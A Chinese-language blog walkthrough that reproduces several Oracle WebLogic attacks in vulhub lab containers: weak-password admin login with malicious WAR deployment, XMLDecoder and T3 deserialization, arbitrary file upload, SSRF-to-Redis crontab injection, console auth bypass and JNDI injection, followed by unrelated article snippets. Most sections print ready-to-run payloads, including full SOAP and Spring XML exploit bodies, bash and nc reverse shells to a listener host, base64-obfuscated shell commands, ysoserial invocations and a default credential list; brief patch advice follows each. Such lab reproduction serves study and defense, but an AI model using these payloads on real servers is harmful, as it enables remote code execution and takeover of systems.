中间件漏洞之weblogic
目录
- weblogic简介
- 弱口令+后台getshell
- 漏洞利用
- 修复建议
- CVE-2017-10271xmldecoder反序列化漏洞
- 漏洞利用
- 修复建议
- CVE-2018-2894任意文件上传
- 漏洞利用
- 修复建议
- CVE-2014-4210 weblogic ssrf
- 漏洞利用
- 修复建议
- CVE-2020-14882&14883
- 漏洞利用
- 修复建议
- CVE-2018-2628
- 漏洞利用
- 修复建议
- CVE-2023-21839
- 漏洞利用
- 修复建议
- 总结
weblogic简介
百度百科:
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
WebLogic是美商Oracle的主要产品之一,是并购BEA得来。是商业市场上主要的Java(J2EE)应用服务器软件(application server)之一,是世界上第一个成功商业化的J2EE应用服务器, 已推出到12c(12.2.1.4) 版。而此产品也延伸出WebLogic Portal,WebLogic Integration等企业用的中间件(但当下Oracle主要以Fusion Middleware融合中间件来取代这些WebLogic Server之外的企业包),以及OEPE(Oracle Enterprise Pack for Eclipse)开发工具。
给出一个奇安信的研究报告https://mp.weixin.qq.com/s/qxkV_7MZVhUYYq5QGcwCtQ,不过是2019年的
还有一篇某大佬2021年的文章https://www.freebuf.com/vuls/284799.html
实际上weblogic会不断爆出新漏洞,这里只复现其中几个比较典型的。
weblogic占用7001端口
弱口令+后台getshell
漏洞利用
vulhub拉取镜像进入相关漏洞目录执行docker-compose up -d
,这个就不详细说了。
如果docker容器报错 the attribute version
is obsolete, it will be ignored, please remove it to avoid potential confusion"则进入对应的docker-compose.yml删除version字段,后面的环境一样.
weblogic常用弱口令:
system:password
weblogic:weblogic
admin:secruity
joe:password
mary:password
system:sercurity
wlcsystem: wlcsystem
weblogic:Oracle@123
然后访问本地7001端口。是一个报错界面,不用管他,访问/console/login/LoginForm.jsp来到后台登录,用刚刚提供的弱口令爆破一下。
我这个环境账号密码是weblogic:Oracle@123
这个环境还存在一个任意文件读取。
御剑扫后台扫出一个hello目录
/hello/file.jsp?path=可以读取文件
不过网上搜到的weblogic任意文件读取大部分都是CVE-2019-2615,之后也会复现这个。
这里还可以尝试读取密码密文
密码密文绝对路径:/root/Oracle/Middleware/user_projects/domains/base_domain/config/co
nfig.xml,相对路径:config/config.xml
密钥路径:/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat
读取密码密文文件,但是要手动改为xml格式,找到密文
<node-manager-password-encrypted>{AES}yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=</node-manager-password-encrypted>
密钥我也读取下来了
这里贴2篇文章https://www.freebuf.com/articles/web/220147.html,https://segmentfault.com/a/1190000038225330讲解了解密操作
密钥要burpsuite截取保存,如果想用那个一剑工具解密可以看其他师傅的文章,因为我java version 是18.0.1用不了那个工具。这里使用https://github.com/TideSec/Decrypt_Weblogic_Password的Tools7解密,所以要结合后文getshell后,上传那个参考文章里面提到的文件。下面是getshell后上传jsp文件解密的结果
先不管怎么解密的继续攻击。
kali终端生成木马:
msfvenom -p java/meterpreter/reverse_tcp host=kali的ip lport=4444 -f war -o java.war
WAR包本质上是一种压缩包。它基于ZIP文件格式,专门用于打包Java Web应用程序,包含了Web应用的所有资源,如Servlet、JSP、HTML、CSS、JavaScript、配置文件等。WAR包的结构是按照特定的目录组织,通常包括WEB-INF和META-INF等目录,这些目录中存放了类文件、库文件、配置文件等 。
生成java.war文件传到物理机上(因为我docker环境是开在物理机的)。
登回后台,左侧点击部署
点击安装,随便点一个
点击“上载文件”,在“部署档案”右边选择浏览文件,上传java.war,然后下一步,将此部署安装为应用程序,命名自己喜欢什么名就输入什么
最后点击完成。部署后返回部署首页可以看到。
kali开启msf,按照下图输入命令
然后执行run
命令,访问目标网站/java这个页面,然后居然报错,经过排查发现可能是kali版本太高的问题,换个低版本kali可能就得.
另一种方法,是将用冰蝎自带的shell.jsp文件压缩成zip文件,再将后缀改为war,将shell.war文件部署在webgoic上。部署的时候一直下一步就行。使用冰蝎链接,反弹shell。这里注意一个地方,就是连接地址不能是localhost:7001/shell不然会报错403,应该是http://localhost:7001/shell/shell.jsp,具体原因我也不太清楚,就是试了一下发现可以,可能是环境配置文件的问题。
也可以弹一个shell回kali
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc kali_ip 4444 >/tmp/f
复现完毕。
修复建议
不要使用弱口令。
CVE-2017-10271xmldecoder反序列化漏洞
CVE-2017-10271 是 Oracle WebLogic Server 中的 XMLDecoder 反序列化漏洞。WebLogic 的 WLS Security 组件对外提供 WebService 服务,使用 XMLDecoder 来解析用户传入的 XML 数据,在解析过程中存在反序列化漏洞,未经身份验证的攻击者可利用此漏洞执行任意代码。
受影响的 WebLogic 版本包括 10.3.6.0.0、12.1.3.0.0、12.2.1.1.0、12.2.1.2.0 等
**漏洞原理:**WebLogic 在解析用户传入的 XML 数据时,若数据中包含恶意构造的 Java 对象表达式,XMLDecoder 会尝试将其反序列化为 Java 对象并执行,攻击者利用这一点构造恶意 XML 数据触发漏洞,进而执行任意命令。
**利用方式:**攻击者通常会构造恶意的 SOAP 请求,其中包含 XMLDecoder 可解析的恶意类对象,通过向 WebLogic 的特定路径(如/wls-wsat/CoordinatorPortType)发送 POST 请求,使目标服务器执行恶意代码,如反弹 shell 等。
XMLDecoder 是 Java.beans 包下的一个类,用于将 XMLEncoder 创建的 XML 文档内容反序列化为一个 Java 对象,是 JDK1.4 版中添加的 XML 格式序列化持久性方案的一部分,可用于读取使用 XMLEncoder 创建的 XML 文档以获取 JavaBeans。
工作原理:XMLDecoder 通过解析 XML 文档中的标记和数据,将其转换为相应的 Java 对象。它会根据 XML 文档中的信息,如类名、属性值等,创建 Java 对象并设置其属性,重建 Java 对象的状态。
有漏洞的地址:
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
漏洞利用
vulhub对应目录docker构建好环境后,访问http://目标网站ip:7001//wls-wsat/CoordinatorPortType并用burp抓包,发repeater改用post请求
kali开nc监听9999端口
poc:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java class="java.beans.XMLDecoder"><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>bash -i >& /dev/tcp/192.168.6.128/9999 0>&1</string></void></array><void method="start"></void></object></java></work:WorkContext> </soapenv:Header> <soapenv:Body/>
</soapenv:Envelope>
复制以上poc发包
反弹成功
解读poc:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><!-- 恶意代码 --></work:WorkContext></soapenv:Header><soapenv:Body/>
</soapenv:Envelope>
soapenv:Envelope: 这是SOAP消息的根元素,定义了SOAP消息的命名空间。
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java class="java.beans.XMLDecoder"><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>bash -i >& /dev/tcp/192.168.6.128/9999 0>&1</string></void></array><void method="start"></void></object></java>
</work:WorkContext>
<java class="java.beans.XMLDecoder"><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>bash -i >& /dev/tcp/192.168.6.128/9999 0>&1</string></void></array><void method="start"></void></object></java>
- java.beans.XMLDecoder: 这是Java的一个类,用于将XML文档转换为Java对象。
- java.lang.ProcessBuilder: 用于创建和管理操作系统进程。
- array class=“java.lang.String” length=“3”: 定义了一个包含3个字符串的数组,分别是/bin/bash、-c和一个反向shell命令。
- void method=“start”: 调用ProcessBuilder的start方法,执行数组中的命令,从而建立一个反向shell连接到192.168.6.128:9999。
该poc是一个恶意的SOAP消息,利用Java的XMLDecoder类执行任意命令,建立一个反向shell连接到指定的IP和端口,从而实现远程代码执行
修复建议
1.临时解决方案根据攻击者利用POC分析发现所利用的为wls-wsat组件的CoordinatorPortType接口,若Weblogic服务器集群中未应用此组件,建议临时备份后将此组件删除,当形成防护能力后,再进行恢复。
根据实际环境路径,删除WebLogic wls-wsat组件:
rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
重启Weblogic域控制器服务:
DOMAIN_NAME/bin/stopWeblogic.sh #停止服务
DOMAIN_NAME/bin/startManagedWebLogic.sh #启动服务
删除以上文件之后,需重启WebLogic。确认http://weblogic_ip/wls-wsat/ 是否为404页面。
2.官方补丁修复
前往Oracle官网下载10月份所提供的安全补丁
http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html
升级过程可参考:转自:http://blog.csdn.net/yumengzth/article/details/97522783
CVE-2018-2894任意文件上传
漏洞说明
Oracle在一次更新中,修复了WeblogicWeb Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制。
简介:WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限。两个页面分别为/ws_utc/begin.do,/ws_utc/config.do。
影响版本:Oracle WebLogic Server10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3
漏洞利用
先进入vulhub对应目录
docker-compose up|findstr password先获取管理员密码,再关闭环境,再后台重启一次。
‘weblogic’ admin password: drd4ZsYu
或者:
docker-compose up -d # 先在后台启动服务,-d参数表示detached模式,即后台运行
docker-compose logs | findstr password
获取密码后登录进去
在左侧点击base_domain,跳转到的页面中点击“高级”
下滑找到启用web服务测试页勾选,然后点击保存
访问/ws_utc/config.do
把工作目录修改为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
因为ws_utc应用的静态文件css目录是无需访问权限的,而默认的工作目录即使上传成功,也无法访问。
左侧点击“安全”,然后主页面点击添加,上传大马,网上找一个。
名字随便起一个,不设Keystore密码,保存。
检查上传的文件名,如下图,id的值是时间戳
访问http://localhost:7001/ws_utc/css/config/keystore/1737464087035_bigma.jsp
http://localhost:7001/ws_utc/css/config/keystore/时间戳_木马名字.jsp
成功。
修复建议
不开启Web Service Test Page
对用户上传的文件做检测过滤
CVE-2014-4210 weblogic ssrf
影响版本:
weblogic 10.0.2
weblogic 10.3.6
维基百科:
在计算机安全中,服务器端请求伪造(英语:Server-side Request Forgery,简称SSRF)是攻击者滥用服务器功能来访问或操作无法被直接访问的信息的方式之一。[1]
服务器端请求伪造攻击将域中的不安全服务器作为代理使用,这与利用网页客户端的跨站请求伪造攻击类似(如处在域中的浏览器可作为攻击者的代理)。
简单的说就是利用一个可发起网络请求的服务当作跳板来攻击其他服务
SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造。SSRF利用存在缺陷的Web应用作为代理攻击远程和本地的服务器。
漏洞利用
进入vulhub对应目录docker-compose up -d
环境问题:这里windows11的docker拉取镜像后redis启动不了,用centos7虚拟机上的docker就可以了。
首先要知道内网的 Redis 服务器的ip地址。
docker ps
docker exec -it redis容器的ID ifconfig
这里是172.18.0.2
接着访问http://your-ip:7001/uddiexplorer/,无需登录即可查看 uddiexplorer 应用。点击search,抓包
参数operator存在ssrf漏洞
下面payload的ip对应实际ip
http://192.168.6.131:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.18.0.2
这里探测172.18.0.3,返回80端口未开放
IP不存在就返回no route to host
这里直接探测redis的6379端口
http://192.168.6.131:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.18.0.2:6379
如下图,探测成功,存在这个ip和开放的这个端口
接着kali开一个nc监听
nc -lvp 7777
原始payload。看了其他师傅的复现文章,payload前面后面还要随便写点东西
testset 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/192.168.6.128/7777 0>&1' \n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
bbb
url编码,%0A换成%0D%0A。
最终payload
operator=http://172.18.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.6.128%2F7777%200%3E%261'%20%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0Abbb
反弹成功
修复建议
- 限制uddiexplorer应用只能内网访问,禁止在公网开放。
- 如果业务不需要uddi组件,则删除server/lib/uddiexplorer.war下的SearchPublicRegistries.jsp文件。
- 升级Weblogic至高版本。
CVE-2020-14882&14883
概述
10 月 21 日,Oracle 官方发布数百个组件的高危漏洞公告。其中组合利用 CVE-2020-14882/CVE-2020-14883 可使未经授权的攻击者绕过 WebLogic 后台登录等限制,最终远程执行代码接管 WebLogic 服务器,利用难度极低,风险极大。
此处漏洞均存在于 WebLogic 的控制台中。该组件为 WebLogic 全版本自带组件,并且该漏洞通过 HTTP 协议进行利用。CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
漏洞利用
环境进入vulhub对应文件夹docker-compose up -d即可。
访问weblogic网站这个目录:/console/css/%252e%252e%252fconsole.portal
可以不用登录就进入控制台
因为是未授权登录,发现没有部署等功能
然后利用这个poc
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>/bin/bash</value><value>-c</value><value><![CDATA[bash -i >& /dev/tcp/这里填监听机的IP/5555 0>&1]]></value></list></constructor-arg></bean>
</beans>
在poc.xml相同目录下起一个服务器
另起一个终端nc监听一个端口
接着访问
http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.200.102:8888/poc.xml")
127.0.0.1 改成你的靶机 IP
192.168.142.162 改成你的监听机IP
8888 改成你起的服务器端口
反弹成功。
参考https://www.cnblogs.com/hetianlab/p/14139548.html
推荐原理分析文章.
修复建议
下载oracle官网发布的补丁
https://www.oracle.com/security-alerts/cpuoct2020traditional.html
CVE-2018-2628
WebLogic Server 中的 RMI 通信使用 T3 协议在 WebLogic Server 和其他 Java 程序之间传输数据。服务器实例会跟踪连接到应用程序的每个 Java 虚拟机(JVM),并创建 T3 连接来传输流量。攻击者利用RMI(远程方法调用)绕过 WebLogic 黑名单限制,通过 T3 协议发送恶意的反序列化数据。当程序对这些不受信任的序列化 Java 对象进行反序列化时,序列化的对象可以控制代码流,从而可能导致远程代码执行。
T3协议缺陷实现了Java虚拟机的远程方法调用(RMI),能够在本地虚拟机上调用远端代码。
WebLogic T3协议(Two-Tier TCP/IP Protocol)是Oracle WebLogic
Server中的一种专有协议,它建立在TCP/IP协议之上,用于在客户端和服务器之间进行通信。T3协议是WebLogic
Server的默认通信协议,主要用于处理Java客户端和WebLogic Server之间的交互。
(参考https://blog.csdn.net/weixin_41949472/article/details/135518769)
RMI Remote Method Invocation)允许一个 Java 虚拟机(JVM)上的对象调用另一个 JVM 上的对象的方法,就好像这些对象在本地一样。它通过使用 Java
的序列化机制来传递方法参数和返回值,使得不同 JVM
之间的对象能够进行交互。基本原理是客户端对象通过存根(Stub)代理来调用远程服务器上的对象方法,存根负责将调用请求传递给远程服务器,远程服务器上的骨架(Skeleton)接收请求并调用实际的对象方法,然后将结果通过存根返回给客户端。
JRMP:贴某位大佬的文章https://www.cnblogs.com/gaorenyusi/p/18396965
推荐原理分析文章
weblogic开放控制台的7001端口,默认开启T3协议服务。
漏洞利用
vulhub进入weblogic\CVE-2018-2628构建镜像docker-compose up -d
kali探测一下靶机T3协议是否开放
nmap -n -v -p 7001,7002 192.168.200.102 --scrip weblogic-t3-info
-n:表示不进行 DNS 解析。这样做的目的是为了提高扫描速度
-v:表示启用详细模式(verbose)。它会输出更多的信息
可以看到靶机开启了T3协议.
这里要下载一个反序列化攻击工具,下载release里面那个jar文件(要jdk8环境),放到kali里面。
1.生成payload:
用这个网站:https://ares-x.com/tools/runtime-exec/
bash -i >& /dev/tcp/192.168.6.128/7777 0>&1粘贴进去生成
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjYuMTI4Lzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}
执行
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8761 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjYuMTI4Lzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}"
2.kali监听nc -lvp 7777
3.下载反序列化攻击工具里面那个exp.py
我直接把它复制到1.py里面了
然后
python 1.py 192.168.200.102 7001 ysoserial.jar 192.168.6.128 8761 JRMPClient
可以看到反弹shell成功
修复建议
1、官方补丁:使用正版软件许可账户登录 https://support.oracle.com,下载最新补丁。
2、手动修复:控制T3协议的访问权限。
CVE-2023-21839
WebLogic 存在远程代码执行漏洞(CVE-2023-21839/CNVD-2023-04389),由于Weblogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server,漏洞利用成功WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露。
影响范围:
WebLogic_Server = 12.2.1.3.0
WebLogic_Server = 12.2.1.4.0
WebLogic_Server = 14.1.1.0.0
危害级别:高危
漏洞利用
进入vulhub对应目录开启环境
利用方式JNDI注入,用到的工具
https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
还有生成payload的网站https://ares-x.com/tools/runtime-exec/
- kali监听7777端口
nc -lvp 7777
- 生成payload
bash -i >& /dev/tcp/192.168.6.128/7777 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjYuMTI4Lzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}
- 利用工具开启监听
由于现在用的是jdk1.8环境,所以复制jdk1.8下面那条地址:
ldap://192.168.6.128:1389/eolxmw
ldap的服务器利用范围更广。
- 利用exp
.\CVE-2023-21839.exe -ip 127.0.0.1 -port 7001 -ldap "ldap://192.168.6.128:1389/eolxmw"
这个工具会把ldap://192.168.6.128:1389/eolxmw这个地址给weblogic漏洞地址去解析,解析的时候,就会触发刚刚那个jar工具的机制,该工具把恶意代码(之前生成的payload)给目标网站下载下来,从而触发反弹shell。
修复建议
缓解方式禁用 T3 及 IIOP
目前厂商已发布升级补丁以修复漏洞,可下载安装。
总结
编号 | 类型 | 利用方式 |
---|---|---|
无 | 弱口令、任意文件读取 | 获得密码进后台,传马 |
CVE-2018-2894 | 任意文件上传 | 后台传马getshell |
CVE-2014-4210 | SSRF | 利用redis协议getshell |
CVE-2020-14882 | Console远程代码执行 | GET、POST、XML |
CVE-2018-2628 | T3协议反序列化 | RMI攻击,yso工具 |
CVE-2017-10271 | XMLDecoder反序列化 | 构造反弹payload |
CVE-2023-21839 | JNDI注入 | 和log4j一致 |
相关文章:
中间件漏洞之weblogic
目录 weblogic简介弱口令后台getshell漏洞利用修复建议 CVE-2017-10271xmldecoder反序列化漏洞漏洞利用修复建议 CVE-2018-2894任意文件上传漏洞利用修复建议 CVE-2014-4210 weblogic ssrf漏洞利用修复建议 CVE-2020-14882&14883漏洞利用修复建议 CVE-2018-2628漏洞利用修复…...
centos 安装pip时报错 Cannot find a valid baseurl for repo: centos-sclo-rh/x86_64
centos 安装pip时报错 [rootindex-es app-ai]# yum update Loaded plugins: fastestmirror Repository centos-sclo-rh is listed more than once in the configuration Determining fastest mirrors Could not retrieve mirrorlist http://mirrorlist.centos.org?archx86_64…...
Pika 技术浅析(三):扩散模型
扩散模型(Diffusion Models)是近年来在生成模型领域中取得显著进展的一种方法,尤其在图像和视频生成任务中表现出色。Pika在其视频生成过程中采用了扩散模型,通过前向扩散过程和逆向扩散过程,实现了从噪声生成高质量视频的功能。 1. 基本原理 1.1 扩散模型的核心思想 扩…...
【HarmonyOS Next之旅】DevEco Studio使用指南(三)
目录 1 -> 一体化工程迁移 1.1 -> 自动迁移 1.2 -> 手动迁移 1.2.1 -> API 10及以上历史工程迁移 1.2.2 -> API 9历史工程迁移 1 -> 一体化工程迁移 DevEco Studio从 NEXT Developer Beta1版本开始,提供开箱即用的开发体验,将SD…...
Node.js系列(1)--架构设计指南
Node.js架构设计指南 🏗️ 引言 Node.js作为一个高性能的JavaScript运行时环境,其架构设计对于构建可扩展的服务端应用至关重要。本文将深入探讨Node.js的架构设计原则、最佳实践和实现方案。 架构概述 Node.js架构主要包括以下方面: 事…...
Pytorch学习笔记
1.gather选择函数的用法 PyTorch入门笔记-gather选择函数 2.max函数的用法 Pytorch的max()与min()函数...
JAVA | 聚焦 String 的常见用法与底层内存原理
*个人主页 文章专栏 《赛博算命之梅花易数的JAVA实现》* 文章目录 *[个人主页](https://blog.csdn.net/2401_87533975?spm1011.2124.3001.5343)文章专栏《赛博算命之梅花易数的JAVA实现》* #前言:API1.定义2.已经学习过的API3.如何使用帮助文档: 一、…...
CAN总线的CC帧和FD帧之间如何仲裁
为满足CAN总线日益提高的带宽需求,博世公司于2012年推出CAN FD(具有灵活数据速率的CAN)标准,国际标准化组织(ISO)2015年通过ISO 11898-1:2015标准,正式将CAN FD纳入国际标准,以示区别…...
提升 React 应用性能:使用 React Profiler 进行性能调优
前言 在现代前端开发中,性能优化是一个不可忽视的重要环节。在 React 生态系统中,React Profiler 是一个强大的工具,它可以帮助我们检测和优化应用的性能。 本文将通过通俗易懂的语言介绍 React Profiler 的作用,并展示如何使用它…...
【QT】-toUtf8() 和 toBase64()的区别
toUtf8() 和 toBase64() 在 Qt 中是两个不同的函数,它们用于不同的目的: toUtf8():将 QString 转换为 UTF-8 编码的字节数组(QByteArray)。 toBase64():将字节数组(通常是二进制数据࿰…...
Git 面试问题,解决冲突
1.问题描述 在多人协作开发中,当多个开发者在同一文件的同一部分进行修改并提交时,Git 无法自动合并这些更改,从而产生代码冲突(Conflict)。冲突的代码会被 Git 标记出来,需要开发者手动解决。 冲突原因 多…...
天梯赛训练L1-031——L1-040
天梯赛训练L1-031——L1-040 L1-031 到底是不是太胖了 import math n int(input()) for i in range(n):h,w map(int,input().split())w / 2biaozhun (h - 100)* 0.9if math.fabs(biaozhun - w) < biaozhun * 0.1:print("You are wan mei!")elif w < biaoz…...
C语言 —— 此去经年梦浪荡魂音 - 深入理解指针(卷二)
目录 1. 数组名与地址 2. 指针访问数组 3.一维数组传参本质 4.二级指针 5. 指针数组 6. 指针数组模拟二维数组 1. 数组名与地址 我们先看下面这个代码: int arr[10] { 1,2,3,4,5,6,7,8,9,10 };int* p &arr[0]; 这里我们使用 &arr[0] 的方式拿到了数…...
面试中文版示例
各位老师好,我是*** ,2010 年毕业于****大学,信息管理与信息系统专 业,获得管理学学士学位,同时学习了*****,取得国家中级物流师认证。 在校期间多次获得一、二等奖学金。作为文艺部部长,经常…...
C++多线程编程 4.condition_variable 条件变量
概念: std::condition_variable 是 C 标准库中用于实现线程间同步的类。它提供了等待和通知的机制,使得线程可以等待某个条件成立时被唤醒,或者在满足某个条件时通知其他等待的线程。 语法: #include <condition_variable&g…...
基于51单片机的12864模拟示波器proteus仿真
地址: https://pan.baidu.com/s/12SGtyqAYKOAjx6rjtTz5Nw 提取码:1234 仿真图: 芯片/模块的特点: AT89C52/AT89C51简介: AT89C51 是一款常用的 8 位单片机,由 Atmel 公司(现已被 Microchip 收…...
C++数据结构哈希表的实现(开散列实现、闭散列实现)
C哈希 1. 哈希概念 哈希作为数据结构时,是一种通过某种哈希函数使元素的存储位置与它的关键码之间建立一一映射的关系,在查找时通过该函数就能快速找到该元素,平均时间复杂度为 O ( 1 ) \rm O(1) O(1) ,且遍历结果是无序的。 …...
显著性检测分类(数据集和评估指标总结)
一:RGB显著性检测 常用数据集 其中有DUTS,ECSSD,DUT-OMRON,PASCAL-S,HKU-IS,SOD,SOC,MSRA-B (1)DUTS:DUTS-TR(训练集):10553张,DUT…...
【R语言】使用DESeq2对微生物组进行差异分析
代码展示: asv <- read.delim(paste0(input,_0.5wen.10050.asv_table.txt), row.names 1, sep \t, stringsAsFactors FALSE, check.names FALSE) group <- read.delim(paste0(group2_,input,.txt),row.names 1,sep \t) asv <- asv1 #将变量转换为因…...
什么是广播系统语言传输指数 STIPA
广播系统语言传输指数(STIPA) 是用于评估公共广播系统中语音信号传输质量的国际标准指标,主要用于衡量语音清晰度和可懂度。以下是其关键信息: 1. 定义与作用 STIPA(Speech Transmission Index for Public…...
【Json—RPC框架】:宏定义不受命名空间限制,续行符的错误使用造成的bug
为什么不受命名空间的限制? 宏处理在预处理阶段, 预处理在编译之前,编译才进行语法分析,语义分析。命名空间也只能限制这部分。 在Json-RPC框架的实现中,遇到如下问题。一开始以为是在实现日志宏的时候,有…...
解决前端文字超高度有滚动条的情况下padding失效(el-scrollbar)使用
<div class"detailsBlocksContent"><div>测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试…...
失败的面试经历(ʘ̥∧ʘ̥)
一.面向对象的三大特性 1.封装:将对象内部的属性私有化,外部对象不能够直接访问,但是可以提供一些可以使外部对象操作内部属性的方法。 2.继承:类与类之间会有一些相似之处,但也会有一些异处,使得他们与众…...
大数据学习(70)-大数据调度工具对比
🍋🍋大数据学习🍋🍋 🔥系列专栏: 👑哲学语录: 用力所能及,改变世界。 💖如果觉得博主的文章还不错的话,请点赞👍收藏⭐️留言📝支持一…...
Description of a Poisson Imagery Super Resolution Algorithm 论文阅读
Description of a Poisson Imagery Super Resolution Algorithm 1. 研究目标与意义1.1 研究目标1.2 实际意义2. 创新方法与模型2.1 核心思路2.2 关键公式与推导2.2.1 贝叶斯框架与概率模型2.2.2 MAP估计的优化目标2.2.3 超分辨率参数α2.3 对比传统方法的优势3. 实验验证与结果…...
PIP离线安装包
获得离线包 pip freeze >requirements.txt pip download -rrequirements.txt 可以看到pip开始下载依赖包列表中的所有依赖包 安装离线包 如果你希望完全从本地 .whl 文件安装依赖,而不从 PyPI 或其他外网源下载任何包,可以使用 --no-index 参数来…...
动静态库区别
目录 示例 动静态库区别 定义和链接方式 文件大小 内存使用 更新和维护 加载时间 依赖关系 适用场景 动静态库总结 示例 Linux系统中ls也是一个进程,它运行也得依赖动态库,那么学习动静态库区别是有必要的!!!…...
剑指 Offer II 076. 数组中的第 k 大的数字
comments: true edit_url: https://github.com/doocs/leetcode/edit/main/lcof2/%E5%89%91%E6%8C%87%20Offer%20II%20076.%20%E6%95%B0%E7%BB%84%E4%B8%AD%E7%9A%84%E7%AC%AC%20k%20%E5%A4%A7%E7%9A%84%E6%95%B0%E5%AD%97/README.md 剑指 Offer II 076. 数组中的第 k 大的数字 …...
容联云大模型应用入选甲子光年AI Agent产业图谱
近日,甲子光年发布《2025中国AI Agent行业研究报告》,旨在系统梳理AI Agent技术演进与产业重构路径,展示行业标杆厂商及先锋实践。 容联云凭借卓越的Copilot & Agent产品和解决方案,以及在银行、保险等领域的成熟应用验证&…...
机器学习——深入浅出理解朴素贝叶斯算法
文章目录 引言一、朴素贝叶斯定理概述1.从贝叶斯定理说起2.朴素贝叶斯的“朴素”之处3.朴素贝叶斯算法的应用 二、朴素贝叶斯算法的优缺点三、python代码实现案例1.导入库2.数据预处理3.模型训练4.模型评估5.完整代码 四、总结 引言 朴素贝叶斯算法,一个听起来充满…...
TCP/IP协议中三次握手(Three-way Handshake)与四次挥手(Four-way Wave)
TCP/IP协议中三次握手(Three-way Handshake)与四次挥手(Four-way Wave) 一、TCP三次握手(Three-way Handshake)二、TCP四次挥手(Four-way Wave)三、常见问题解答总结为什么三次握手不…...
【CF】Day9——Codeforces Round 953 (Div. 2) BCD
B. New Bakery 题目: 思路: 被标签害了,用什么二分( 很简单的思维题,首先如果a > b,那么全选a就行了,还搞啥活动 否则就选 b - a 天来搞活动,为什么? 首先如果我…...
